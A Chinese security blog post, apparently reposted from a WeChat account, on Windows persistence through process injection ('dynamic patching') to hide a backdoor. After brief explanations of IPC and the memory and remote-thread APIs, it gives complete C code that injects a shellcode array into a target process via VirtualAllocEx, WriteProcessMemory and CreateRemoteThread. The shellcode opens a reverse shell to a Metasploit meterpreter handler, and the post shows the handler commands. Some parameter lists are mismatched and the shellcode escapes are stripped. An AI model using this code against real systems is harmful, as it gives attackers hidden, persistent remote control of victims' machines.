01
什么是动态补丁?
一个完整的动态补丁一般需要具备以下四个要素:
4.在其他进程地址空间执行代码的能力。
02
什么是后门?
后门是指恶意程序或代码,通过绕过正常的访问控制机制,使攻击者能够在目标系统中保持持久的访问和控制权限。后门通常被用于非法入侵、数据盗取、远程控制等恶意活动。
03
进程间通信机制
一种是通过两个进程实施的耦合性强的进程间通信。这种通信机制要求参与通信的两个进程必须密切配合,两个进程工作在服务器/客户端模式。这类通信机制主要包括匿名管道、命名管道、邮件槽、远程方法调用等。
另外一种是由第三方参与的耦合性相对较弱的进程间通信,比如通过剪贴板、共享内存、动态链接库、映射文件、注册表、一般文件、Socket、Windows消息队列、信号量等。
04
读写进程内存
ReadProcessMemory 实现打开进程空间数据的读取 WriteProcessMemory 完成向打开的进程空间写入数据 |
-
dwDesiredAccess:访问权限。它可以是表1所列的值。
表1 OpenProcess函数dwDesiredAccess参数的值
-
bInheritHandle:继承标志;如果设置为TRUE,表示继承打开的进程,否则表示不继承。 -
dwProcessId:进程的ID号。 -
返回值:如果成功,返回值为指定进程的句柄;如果失败,返回值为空。
-
hProcess:远程进程的句柄,远程进程即为要操作的进程。 -
pvAddressRemote:要操作的进程的地址空间,该地址为VA。 -
pvBufferLocal:存放要操作的数据的本地缓冲区。 -
dwSize:本地缓冲区大小。 -
pdwNumBytesRead:输出参数,表示本次读取的实际字节数。 -
返回值:如果成功,返回TRUE,否则返回NULL。
-
hProcess:指定将要被读写的目标进程句柄。 -
pvAddressRemote:目标进程中被读写的起始线性地址。 -
pvBufferLocal:用来接收读取数据的缓冲区(对于ReadProcessMemory 函数)或者要写到目标进程的数据缓冲区(对于WriteProcessMemory 函数)。 -
dwSize:要读写的字节数。 -
pdwNumBytesRead:指向一个双字变量,供函数返回实际读写的字节数﹔如果不关心这个结果,可以将其设置为NULL。 -
返回值:如果函数执行成功,那么返回值是非0值,执行失败的话返回0。
05
目标进程枚举
|
|
|
PdhGetFormattedCounterArrayA、PdhGetFormattedCounterArrayW、PdhGetFormattedCounterValue |
06
执行远程线程
VritualAllocEx函数内存分配函数的原型如下:
-
hProcess,目标进程句柄。 -
lpThreadAttributes,线程安全描述字,一个指向SECURITY_ATTRIBUTES结构的指针。 -
dwStackSize,线程栈大小,以字节表示。 -
lpStartAddress,一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址。 -
lpParameter,传入参数。 -
dwCreationFlags,创建线程的其他标志。 -
lpThreadId,(输出),返回线程号,如果为NULL,则不返回。 -
返回值:如果成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。
07
隐藏后门
|
int main(){
unsigned char buf[] =
"xfcxe8x8fx00x00x00x60x89xe5x31xd2x64x8bx52"
"x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26"
"x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0d"
"x01xc7x49x75xefx52x8bx52x10x8bx42x3cx57x01"
"xd0x8bx40x78x85xc0x74x4cx01xd0x8bx48x18x8b"
"x58x20x01xd3x50x85xc9x74x3cx31xffx49x8bx34"
"x8bx01xd6x31xc0xacxc1xcfx0dx01xc7x38xe0x75"
"xf4x03x7dxf8x3bx7dx24x75xe0x58x8bx58x24x01"
"xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01"
"xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58"
"x5fx5ax8bx12xe9x80xffxffxffx5dx68x33x32x00"
"x00x68x77x73x32x5fx54x68x4cx77x26x07x89xe8"
"xffxd0xb8x90x01x00x00x29xc4x54x50x68x29x80"
"x6bx00xffxd5x6ax0ax68xc0xa8x04x0ax68x02x00"
"x11x5cx89xe6x50x50x50x50x40x50x40x50x68xea"
"x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74"
"x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
"x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5f"
"xffxd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10"
"x00x00x56x6ax00x68x58xa4x53xe5xffxd5x93x53"
"x6ax00x56x53x57x68x02xd9xc8x5fxffxd5x83xf8"
"x00x7dx28x58x68x00x40x00x00x6ax00x50x68x0b"
"x2fx0fx30xffxd5x57x68x75x6ex4dx61xffxd5x5e"
"x5exffx0cx24x0fx85x70xffxffxffxe9x9bxffxff"
"xffx01xc3x29xc6x75xc1xc3xbbxf0xb5xa2x56x6a"
"x00x53xffxd5";
LPVOID lpRemote ;
SIZE_T dwTemp;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //获取系统所有进程快照
if (Process32First(snapshot, &entry) == TRUE) //获取第一个进程快照
{
while (Process32Next(snapshot, &entry) == TRUE) //枚举进程
{
if (stricmp(entry.szExeFile, "peinfo.exe") == 0) //寻找目标进程
{
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, entry.th32ProcessID); //获取目标进程句柄
lpRemote = VirtualAllocEx(hProcess,NULL,sizeof(buf)+0x10,MEM_COMMIT,PAGE_EXECUTE_READWRITE); //在目标进程中分配足够的内存空间
WriteProcessMemory(hProcess,lpRemote,buf,sizeof(buf),&dwTemp); //在分配的空间中写入shellcode
LPTHREAD_START_ROUTINE LPthread = (LPTHREAD_START_ROUTINE)lpRemote;
CreateRemoteThread(hProcess,NULL,0,LPthread,0,0,NULL); //执行shellcode
CloseHandle(hProcess);
}
}
}
CloseHandle(snapshot);
return 0;
}
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LhOST 192.168.4.10 msf6 exploit(multi/handler) > run |
往期推荐
高级威胁检测与取证分析之工具篇—Sysmon
【威胁升级】Trigona勒索软件针对Linux与x64平台展开攻击!
Flipper Zero 之无线 BadUSB 攻击
Flipper Zero 之 iOS 蓝牙攻击手法
原文始发于微信公众号(矢安科技):Windows权限维持——利用动态补丁技术隐藏后门
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论